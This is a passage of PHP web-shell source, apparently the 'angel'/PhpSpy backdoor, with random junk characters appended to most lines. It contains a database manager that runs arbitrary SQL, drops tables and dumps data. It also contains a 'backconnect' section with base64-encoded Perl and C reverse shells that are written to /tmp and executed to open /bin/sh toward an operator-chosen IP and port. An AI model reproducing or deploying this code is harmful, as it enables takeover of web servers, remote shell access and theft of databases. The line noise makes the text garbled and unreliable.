- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());: ]8 l/ f/ K* b3 y- x
- }# m( R [& {4 t4 m" i( ?
- }/ d, V* n! x1 P) P
- if ($doing == 'del' && $base64) {
4 M, T/ j& `+ S3 l) R3 B2 I8 a' f - $where = base64_decode($base64);( Z/ R$ V) M" A- ^1 ~/ m6 {4 E/ r
- $delete_sql = "DELETE FROM $tablename WHERE $where";
+ W1 o0 @6 ^& {6 L' W" E" s - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 ?- t4 u4 j4 [4 t m7 H: T
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
5 D) u# g9 b; K( F$ n' ^# T% E+ R! G - }
/ Y/ k9 d6 P g( j& A9 ^( B/ P) v - : n/ y W) {' j X k
- if ($tablename && $doing == 'drop') {. c t7 u) f2 `/ h/ m3 V! w" f$ a4 q
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);5 B: ]0 F$ e0 H) h6 m; O
- if (q("DROP TABLE $tablename")) {
% H1 a7 H9 A* R' p- m8 } - m('Drop table of success');
2 g, K: r3 T4 G9 x3 x5 i/ L- w - $tablename = '';
. @ Y9 f3 m. }( ]9 i - } else {
, o* }5 F' J' o - m(mysql_error());
( m0 K7 z2 p) U" U) w - }7 a0 @' k- E8 y; u, u: t% r
- }) c0 Z* t/ |+ ^
- 6 W( G% u% }) O8 K
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
# ]5 ?7 v: D! ]3 E' U- A- h -
& j4 B0 Y5 ^* w0 W* c - formhead(array('title'=>'MYSQL Manager'));, E( R5 I7 V1 S( U
- makehide('action','sqladmin');# q0 p8 n/ B- a A0 @) m) h
- p('<p>');% j( \' l% M( i; _9 z( R
- p('DBHost:');/ |9 ]( i1 _* \) g1 |
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));5 P' ^0 e! I6 \# t8 t/ N1 o2 g
- p(':');
4 |- |3 N- P {9 c/ K7 }# L/ ~ - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
4 ^" T$ x( T, A. T- y3 l7 l( B: ` - p('DBUser:');! e4 [3 n6 |, K5 s% ^# f
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); S, q L: o5 E* z
- p('DBPass:');
- p% ?0 { F' c0 ]! H' @ |; y0 l - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));) y. h8 ] y5 _- ~- g* O
- p('DBCharset:');* O2 Y$ i" n% i* H3 v
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
. \6 R5 g7 O2 b3 u. ?# h& Y) s1 R' } - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));8 q) U$ V& `$ x7 J) o( j
- p('</p>');/ \. I* T$ b; T& b
- formfoot();
/ |0 ?# t4 p& Y4 Y i' }3 q& j3 v - ?>2 N7 P: I" y6 W' `2 j% V
- <script type="text/javascript">$ X/ z5 a- J4 a
- function editrecord(action, base64, tablename){8 ?+ Z3 J- I, L* l6 U
- if (action == 'del') { ( h0 W! E/ `" U0 z5 _1 T
- if (!confirm('Is or isn\'t deletion record?')) return;" A* |; R/ Z' J; l8 I
- }
+ M' d( @1 V. |8 P( D& `4 X - $('recordlist').doing.value=action;8 t: {+ U# p! \$ e+ T) }* d! P
- $('recordlist').base64.value=base64;
. M$ j" E9 o& J( F: F" w1 u, | - $('recordlist').tablename.value=tablename;
! R2 Q# z3 f; Z9 o - $('recordlist').submit();" f |. Q7 f J6 M
- }
0 s1 I% N( C& n) v5 Y - function moddbname(dbname) {" v* i( r7 \: D) B. ^
- if(!dbname) return;$ M6 s @$ S. M, l4 p
- $('setdbname').dbname.value=dbname;8 Q5 m. e2 v! t
- $('setdbname').submit();
5 D/ k2 |6 q# l% v& c - }5 G$ I( R4 ^3 b. Z) I, |
- function settable(tablename,doing,page) {
, T! B6 I" }) x - if(!tablename) return;# G0 S, v- b7 M5 v3 ]9 p
- if (doing) {
2 v; o8 B# R& K - $('settable').doing.value=doing;( z5 U% r( A; H2 k% Q+ A
- }
: z+ {" e6 y0 _8 C A% \- q5 [% h - if (page) {
* H/ e. X. n+ [ - $('settable').page.value=page;7 b& [0 {# L2 c4 ]$ F7 t" |
- }* u6 O [' X* m5 K/ S; p: C* A2 L
- $('settable').tablename.value=tablename;6 B& M# W5 ~! n$ B; V) f+ l' v; h
- $('settable').submit();
' V! d2 [& j2 z" b8 Q - }4 h/ y, ^1 G( w1 z( P6 ~+ x
- </script>
5 }) b+ ^' H4 Q" C+ S0 {" U" a+ v7 A - <?php
! I) y4 d4 s- G% J& J( { - //操作记录
+ L) C% x" Q* p7 _8 m; T - formhead(array('name'=>'recordlist'));9 |5 C; L2 a2 C; p* W/ [* M& Y4 C1 J
- makehide('doing');. B3 j! |) O& ]2 I
- makehide('action','sqladmin');
% @. M1 Y" x" J" `" A, s - makehide('base64');4 J! Z6 n. Q- \# g7 h0 O% U$ _
- makehide('tablename');3 i+ k4 K. |5 C& v* z( n/ x4 e
- p($dbform);
1 X/ V7 p- o9 l6 c& C5 d - formfoot();$ T! t: n+ Z- ~/ i
- //选定数据库/ l# ~( t/ I. J* t
- formhead(array('name'=>'setdbname'));5 A5 w' i7 N6 m' N0 ^" c ^ p
- makehide('action','sqladmin');
* A* A' d9 V* C9 C+ g - p($dbform);
! A0 }% O/ e& G* `- {4 S: P- C - if (!$dbname) {
; ^" P) {7 v2 K0 G c - makehide('dbname');1 t& O3 W& w7 w. k- _
- } j- |7 ?% B# Q2 C _0 c
- formfoot();+ P( H6 s7 J- e& S
- //选定表0 W2 \' O1 a/ D+ C& P+ x2 B* `" r: C
- formhead(array('name'=>'settable'));
0 h+ e! D4 }. k9 b, J - makehide('action','sqladmin');
5 d! R1 J/ a! G- b - p($dbform);/ G! e+ X {% }+ F
- makehide('tablename');7 ^1 z2 Z Y. B8 B4 J N3 n6 {
- makehide('page',$page);$ r. _' w: n3 |1 Z
- makehide('doing');
) z, T$ z4 a# @! N - formfoot();* a" B" H, }, _( V3 z. ~6 l
- $cachetables = array(); 6 q6 U6 Y; A3 _
- $pagenum = 30;
- ]* {* |9 l, Q; I - $page = intval($page);
7 I* V9 ` _9 X2 T - if($page) {
% z$ O0 O' o& v3 d7 B - $start_limit = ($page - 1) * $pagenum;
) Z6 J s2 k; b3 M7 _ - } else {
# d( `" x# Q8 D3 Z - $start_limit = 0;
& \* O2 @' X+ ~% A6 h a! ~ - $page = 1;: J9 R$ [- V! ~3 \$ \* c
- }
9 J `; [& K! {$ s. j$ I! a - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
- h8 w9 W( @6 [1 N - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1 i& Z( H: u( B4 `$ D$ z - //获取数据库信息/ v6 x3 e7 B+ u
- $mysqlver = mysql_get_server_info();7 D" d4 m( w Z( y0 p, X
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
* H7 P, M x; Y1 E! ~! @! n - $highver = $mysqlver > '4.1' ? 1 : 0;+ ?$ s p0 `& h
- //获取数据库
& a" K2 }5 y. o: S - $query = q("SHOW DATABASES");
" Z% x# U6 Y, X$ i! V) [) I4 E - $dbs = array();
8 h# t/ B. P: x7 k1 L& f - $dbs[] = '-- Select a database --';
) y- S* V0 W' m! C: ^ - while($db = mysql_fetch_array($query)) {
8 G' B2 P/ {; p! ~5 U - $dbs[$db['Database']] = $db['Database'];
8 j$ |5 W- E) G# ?& j- C5 j - }: ~, _6 R' j A1 M" T( `
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
. a# f+ \5 j5 r - $tabledb = array();7 g; G6 G5 y Q$ a
- if ($dbname) {+ R4 x _# b$ j( E0 U4 ?
- p('<p>');
" A) [$ l+ t# u2 q! v6 B8 ^ - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');# u! J9 b6 R5 M3 l7 v7 E) ~
- if ($tablename) {
1 e- n+ ?4 t# ^; ` - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');& j' x, ]: L- T
- }
! C2 U3 K: ~% r0 J; U - p('</p>');
I& @' b$ j, Z! C _$ Q - mysql_select_db($dbname);
$ ~8 `; ]4 l% @# q' L6 S, V" Q4 s - $getnumsql = '';9 r/ J6 T' W( [/ l* i n0 N
- $runquery = 0;
% n9 r) O9 B, V( \8 M5 K - if ($sql_query) {" c( F M2 {3 ^
- $runquery = 1;+ ]+ l! T9 f6 I( a5 Q8 [
- }
! i4 y* v+ J2 b" c% Q' K1 P$ T - $allowedit = 0;& d) {5 R$ y( |& C% a
- if ($tablename && !$sql_query) {
" T; s1 i) K+ Z, H. y - $sql_query = "SELECT * FROM $tablename";
5 j' e$ r3 T" d7 g1 ]. i - $getnumsql = $sql_query;
, b$ a$ W0 U }$ K: X+ k9 P" M - $sql_query = $sql_query." LIMIT $start_limit, $pagenum";5 p9 r) M" W: [9 m& f( F; }
- $allowedit = 1;
2 H2 a: C9 W2 |. Q# _$ t" {' V - }3 f1 Q. \$ M7 ?: f) K1 |
- p('<form action="'.$self.'" method="POST">');" g; k% n, {" t
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');% {( F8 t+ l N7 L8 A
- makehide('tablename', $tablename);
. C. Z0 `: v# u/ c. f - makehide('action','sqladmin');+ X9 s4 _) r; J) L( D# F# ~* L
- p($dbform);- J2 D9 B' e6 M' J& }
- p('</form>');( ^ ]$ \2 b9 n; w6 R
- if ($tablename || ($runquery && $sql_query)) { _3 ^; V# H. v* N5 i" G
- if ($doing == 'structure') {
! g5 Z* R @8 u2 z - $result = q("SHOW COLUMNS FROM $tablename");6 a1 X! `) K. X& g, s, X: ~
- $rowdb = array();9 p5 y( ~9 K! Q" d! M) _( W6 g
- while($row = mysql_fetch_array($result)) {3 _9 z6 ?6 Z4 v b" f8 w' z% m
- $rowdb[] = $row;
# h; |: G3 F# S( W+ _! D - }8 Z4 i) \' M; z- }8 f) o3 C
- p('<table border="0" cellpadding="3" cellspacing="0">');$ B0 J, L" G( V& C$ e( Q
- p('<tr class="head">');' X9 @/ M7 x9 m1 n
- p('<td>Field</td>');8 S+ X; v8 T& B1 C" a8 W$ J
- p('<td>Type</td>');! S U6 u5 J+ W) z
- p('<td>Null</td>');# e. H! q% z0 h4 t6 k2 {
- p('<td>Key</td>');) o) b7 Z. F# x' Q% p4 ~
- p('<td>Default</td>');: Z. J% x0 z- C) \
- p('<td>Extra</td>');2 N, W6 U3 J9 H& E1 f( t
- p('</tr>');
' G3 Q( f) d% W/ k9 ? - foreach ($rowdb as $row) {3 j, f& R! L4 q
- $thisbg = bg();% g8 y; x- [3 i% F/ N
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
: Y6 F9 i/ E8 H5 T! @- v8 R7 t - p('<td>'.$row['Field'].'</td>');4 Z6 ^( n% I8 j$ {' x4 T
- p('<td>'.$row['Type'].'</td>');
& [& X6 Z4 }; \! z - p('<td>'.$row['Null'].' </td>');
" b" Z4 B v3 ~; Y# |' ] - p('<td>'.$row['Key'].' </td>');
H. b' Y' m# u3 G0 F1 k6 R$ W; u) b - p('<td>'.$row['Default'].' </td>');, O3 m9 T. a( U4 O+ P! ]) s
- p('<td>'.$row['Extra'].' </td>');
3 O- \! Y! [. A0 c( u - p('</tr>');
7 ~" t/ m5 s1 B - }
$ F# @& ~1 B, n7 f$ P2 L - tbfoot();& D8 [1 ^$ [5 U+ d# `' \
- } elseif ($doing == 'insert' || $doing == 'edit') {4 F" W/ B: p- a# s6 u
- $result = q('SHOW COLUMNS FROM '.$tablename);! O6 G+ Q* N6 o3 @3 U5 z
- while ($row = mysql_fetch_array($result)) {
# Y6 e2 W& o, Z$ `4 }/ N' J, ` - $rowdb[] = $row;
9 Y# x. M2 C* q' ]/ J - }
& o4 y, y3 p1 g5 A7 v) j - $rs = array();5 k D0 p- R6 G* n
- if ($doing == 'insert') {
9 I g1 _, g; s: D4 l9 p4 Z - p('<h2>Insert new line in '.$tablename.' table »</h2>');
) K0 F* j5 c& N6 w& K+ L' @ - } else {. F, f8 j: c3 C
- p('<h2>Update record in '.$tablename.' table »</h2>');& w: ~$ v7 v2 _1 h, z/ |6 M
- $where = base64_decode($base64);( L7 }& o8 F# Z, z+ J# N! a0 n- m
- $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");0 R! _8 K9 @7 q# o8 K
- $rs = mysql_fetch_array($result);
0 N+ K) [, P+ S - }9 a/ B) Q2 M# W1 G5 ^- ^3 a
- p('<form method="post" action="'.$self.'">');
6 n9 J% p Y. r8 q3 S; t - p($dbform);" y6 p+ F' R: |8 W+ ^
- makehide('action','sqladmin');
/ [6 S4 u- @: s- R - makehide('tablename',$tablename);6 Z6 E0 F/ |7 S) w$ x
- p('<table border="0" cellpadding="3" cellspacing="0">');# V3 y6 E% |, `: Q, D& \4 ?: v
- foreach ($rowdb as $row) {
" D T: {+ @# s! C - if ($rs[$row['Field']]) {3 U0 H& e m2 N8 y5 \
- $value = htmlspecialchars($rs[$row['Field']]);4 H, t6 k/ Y2 i1 k1 b
- } else {
% ~6 Q$ h) v4 g7 R. _' U4 u8 [ - $value = '';
* _0 F% {1 G6 g% j1 N! i% g - }) }+ g0 g$ N. e* y3 Z% O+ j; C
- $thisbg = bg(); U/ r, p% k8 Q2 `
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
. D" s! e; @" N& c" y' ~& {1 P( ? - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');; V' q0 v6 g/ {& B* U
- }
+ i& J: E2 g( f& E4 B1 D- o7 c4 W4 u - if ($doing == 'insert') {
* p1 d) X" f; a& v" j/ `. Z - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');7 m- ^6 H: _% E2 H$ L4 v0 ?0 a
- } else {
/ [. F5 |5 f0 j% e& U - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
5 b- k% X1 N; T# J6 w1 ^; y - makehide('base64', $base64);% P7 \& P' a) k: g! a
- }
- O4 S* J) T. O1 d) n0 |2 A - p('</table></form>');
' m: F3 m$ c5 v - } else {
0 d" D# \# \/ R; [) h/ c* W - $querys = @explode(';',$sql_query);9 W, s& [# q6 O- u) z" E9 c" s
- foreach($querys as $num=>$query) {
8 V2 c8 ^- F% j: x/ a - if ($query) {
}* X. a: g# ]9 X! D- y3 v - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
7 e1 S$ F0 R% z& d; Y% @ - switch(qy($query))# H1 Q8 C8 b0 h7 }. C! G& B( f
- {
& z# F$ H8 l! l% O Z4 K - case 0:
: q: u5 J- C; t! t7 W; R( t - p('<h2>Error : '.mysql_error().'</h2>');8 w. [; F7 v% C# z9 d3 [; e% A- e
- break; 8 Y' M0 {6 n' Q# X6 Q; U4 u
- case 1:8 G3 x3 o3 D5 F T, j
- if (strtolower(substr($query,0,13)) == 'select * from') {
/ ]* g7 N# ^, b; ` - $allowedit = 1;
4 w$ D. Y' B8 ]6 f6 E2 h - }( W9 c3 t2 ?) R8 P9 I7 Z5 w8 Y/ \
- if ($getnumsql) {
9 f) |. l! `& C6 W) s% ] - $tatol = mysql_num_rows(q($getnumsql));
" \( r1 t, T+ H, \ - $multipage = multi($tatol, $pagenum, $page, $tablename);
}* E1 ^! N. Y( S - }1 s" o8 [% ?7 f! g8 v; ?) A
- if (!$tablename) {' S) h5 g+ F% \, I
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
. N& V8 a- k9 o2 R, O' x - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
* C7 g3 K$ W# f, \$ K - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
" ]- Q" n0 s b( m# |2 M# Z" L - $tablename = $matches[1][0];7 s# h/ D/ Z: P% A6 h
- }
8 N& g- l7 z, x( d7 K - $result = q($query);
, c0 K9 x7 B9 u3 H) L/ n - p($multipage);2 w. c5 W& `& M2 K4 Q' ^: ^
- p('<table border="0" cellpadding="3" cellspacing="0">');
( g6 O t% Q0 N3 n - p('<tr class="head">');7 S V9 k0 G# I5 b+ j
- if ($allowedit) p('<td>Action</td>');
. N( J6 ~" X& x# `' a - $fieldnum = @mysql_num_fields($result);: U$ L4 v$ [& C1 h0 ^4 v: U, w- ]
- for($i=0;$i<$fieldnum;$i++){
/ a0 V: k4 ^9 \/ W& h& P; Z - $name = @mysql_field_name($result, $i);4 ~' ^, X& t2 i
- $type = @mysql_field_type($result, $i);
2 F! j% w& ] D0 V' D2 u! J - $len = @mysql_field_len($result, $i);" N3 N) Y3 H; i8 H* G
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
8 r R- d$ j& z- x4 A - }& O" o6 q: H& k
- p('</tr>');
' T% T- [! S0 R: G - while($mn = @mysql_fetch_assoc($result)){1 E5 X3 G% h' J+ b6 z
- $thisbg = bg();
2 {# L5 z0 `; F4 B6 h+ _( h9 P4 o - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');. z) l% }4 e9 ^3 H7 ` k! X/ b5 |
- $where = $tmp = $b1 = '';. H1 w! d6 k5 I2 s, A; O2 s
- foreach($mn as $key=>$inside){; H# q& I0 P4 l7 S* }8 j% }7 M, p
- if ($inside) {
- d, L: E% R( S. H- E+ B7 I9 [ - $where .= $tmp.$key."='".addslashes($inside)."'";
& L$ _2 h- B2 @ - $tmp = ' AND ';
+ Y3 O' T' m) c - }5 O8 V2 @! M4 d& ?. z) t
- $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
) R8 W* H$ ]: U% _6 S - }' y3 ~( J, E" b6 T7 h3 i$ D. |
- $where = base64_encode($where);) P1 f8 y0 Y2 h& T+ x" Y* {/ U
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
( a y0 J7 i, A' }$ } - p($b1);
; P% j' y# r3 l* ~ - p('</tr>');* {: Y4 g$ z& n# }
- unset($b1);
3 [: [) U5 h3 g8 d - }
. c( V7 }0 `/ N3 r - tbfoot();4 u& }+ Q& q" b
- p($multipage);7 L$ w, P$ G1 S l8 T
- break;
* j$ y5 |4 S: v - case 2:
: h- M: i6 Q/ \* ]- T6 o; E. U- q - $ar = mysql_affected_rows();7 d" z+ g. `0 b# D! U% p
- p('<h2>affected rows : <b>'.$ar.'</b></h2>');
% p5 a g0 y/ }( }5 d5 @ - break;
$ p% [( z. H/ O# ~ - }
) u% W- ]+ c4 w0 G# o2 M9 P4 G - }! g* l, ^5 Z( n0 E) y
- }2 |2 a$ C9 E- L1 B$ F& H( ~! g( @, Z
- }
% [$ v5 ~+ ?! B0 }. D% e - } else {
- X7 C' h4 @0 T6 }3 r" H$ v s' S/ G0 } - $query = q("SHOW TABLE STATUS");- N1 i) [* T0 j8 o# C
- $table_num = $table_rows = $data_size = 0;. k: L) t: t: P" R
- $tabledb = array();
9 b; N* C* b N$ r+ z8 f - while($table = mysql_fetch_array($query)) {
" r2 ?9 B+ U! w, d - $data_size = $data_size + $table['Data_length'];" u! u- ^: o2 j4 e) f1 ]! R
- $table_rows = $table_rows + $table['Rows'];$ K; s) ~: p) \) I
- $table['Data_length'] = sizecount($table['Data_length']);
( `3 X# ]4 k% P+ S# V: K4 s7 J - $table_num++;
: C2 N' P$ }8 y; Q9 p. d5 a# f - $tabledb[] = $table;
0 @, d6 R: Z1 A+ I8 V' F - }1 L, Z* m5 `. r9 T1 F0 n" t$ y
- $data_size = sizecount($data_size);% q/ Z( n0 e1 J2 X+ ^( A
- unset($table);
8 l2 @8 U& o+ f2 \ - p('<table border="0" cellpadding="0" cellspacing="0">');
/ y/ O x9 e8 w; o9 {; t: V7 v( R" R - p('<form action="'.$self.'" method="POST">');
' V0 O! S9 P; i3 n2 ] X0 r$ I - makehide('action','sqladmin');
# ]/ E- @% {! T W" j - p($dbform);; T, r: ^( m0 e
- p('<tr class="head">');* n9 U. k- g& o$ i9 E5 S
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
9 I! ?" \+ a" u) ? - p('<td>Name</td>');
5 [$ o v# N1 u: z# u - p('<td>Rows</td>');% b. u2 `2 D! R, I7 p/ M* j$ b
- p('<td>Data_length</td>');
+ I0 u% Z6 C; H4 |" Q - p('<td>Create_time</td>');& l" r2 A( l& u. u
- p('<td>Update_time</td>');
9 Y3 O3 Z" B1 Q4 z - if ($highver) {
* `* L4 u% s- Y# f( l! M - p('<td>Engine</td>');, x- W4 U8 K6 `' Y" X
- p('<td>Collation</td>');
8 G) G5 [2 K8 ~& G - }
6 A0 a" V1 ]5 N8 v, F9 u - p('</tr>');
. h, `4 y! U, n1 m5 F - foreach ($tabledb as $key => $table) {- H/ I: C+ v9 b$ u
- $thisbg = bg();
7 V# p: R' V6 U4 w- V3 n% w - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
4 C) T6 C0 P; i - p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
( Y8 G1 L* _6 u4 _' P# H8 W- v; N" b - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
: f5 c7 p2 e, m' z& u9 p - p('<td>'.$table['Rows'].'</td>');
+ z! O e) G: e6 h% K - p('<td>'.$table['Data_length'].'</td>');
% P& O$ I* c& P! j) C# a' m - p('<td>'.$table['Create_time'].'</td>');" J) ~9 q/ J3 Z5 G- O, ^- {$ O
- p('<td>'.$table['Update_time'].'</td>');; p1 G/ W' p+ N* _+ F9 d% h# b
- if ($highver) {4 Q" W$ f" J2 Z; [' V$ `2 F0 p" m0 ^
- p('<td>'.$table['Engine'].'</td>');1 N% U6 J2 ?% p+ ?
- p('<td>'.$table['Collation'].'</td>');8 \$ q/ ^" R! h; B+ H
- }
" l* `7 i: r' ~( M$ ] t - p('</tr>');
, v0 h5 }3 `( W4 s - }
/ N" A9 q0 T. h+ i! V! k* G - p('<tr class='.bg().'>');* \& A+ L9 g" @
- p('<td> </td>');# j- A# k" o" A0 n1 b/ e
- p('<td>Total tables: '.$table_num.'</td>');
4 Z1 T; p1 o) @2 u H# p8 G3 q: }: D9 ~ - p('<td>'.$table_rows.'</td>');
. \! e# p- n0 ~/ R6 K/ K* p$ R/ A# \ - p('<td>'.$data_size.'</td>'); r: z* u6 K1 z: n1 x3 `8 E( B
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');! N7 p* ^8 y! S5 d
- p('</tr>');- |6 w `+ X X
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");6 K6 A( {9 W( A5 {
- makehide('doing','backupmysql');' \+ P* K3 U: a) s
- formfoot();
' S, z: s4 z. s4 o8 } - p("</table>"); z) \) L0 ~# m. N9 G" y
- fr($query);
3 J# x$ J0 \! E) `9 |; e( v# O% Y - }, t3 F, Q. v0 x. l5 _1 w, [
- }0 Q+ N, J. T! ~9 e5 m3 b3 E
- }
8 D9 \) J. o W1 P" B: h - tbfoot();/ c& P2 L- P4 K' @7 M6 |
- @mysql_close();: a( E" X- A( o3 r. F" K
- }//end sql backup, m6 Q$ b7 L0 T9 ]% n. V
- elseif ($action == 'backconnect') {/ o. m7 |+ c# c7 I, ]( o1 ?
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
2 h, y) R3 S5 J% \1 ^* U9 E9 j0 } - !$yourport && $yourport = '12345';
' i7 r* A1 q, q: P2 o - $usedb = array('perl'=>'perl','c'=>'c');
?( ^& j1 N2 R+ M - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".4 Q" g1 }" O$ u6 z/ Y% q; d
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".* e7 ]0 U, t' z2 l: x. O
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".3 h) r) y7 Q- I3 h) U! B
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
( ^$ v2 ?; @% J - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
% R" Z& F+ }9 ]$ ?& L i1 r- q - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".4 h5 r# o2 [6 Z& s/ o/ h; o
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";3 ~4 m+ i* T, r
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
[" X0 ]% c5 K5 z; \ - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".* u6 M$ Y' C/ ?; W3 f1 i0 |7 [
- "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".1 j! b. r# X4 B- c: r! b* ], o
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
; c+ i4 t* U i* o- _/ z$ j - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".: M! z, o- c* H% d/ v
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
% O6 p: ~$ v; U - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".9 a6 _$ H: g3 ], q0 b
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
: Q y* g p( X; s% Z' ^ - if ($start && $yourip && $yourport && $use){8 p0 f( ^/ i0 H) L# R
- if ($use == 'perl') {7 Z3 h: c7 I. n- a: ` ^& R, T
- cf('/tmp/angel_bc',$back_connect);7 v, Y4 }2 W1 A2 k7 L- P' E3 b
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");- g6 E' O, r: l
- } else {7 y0 e, h& |& q* R. l. H- A
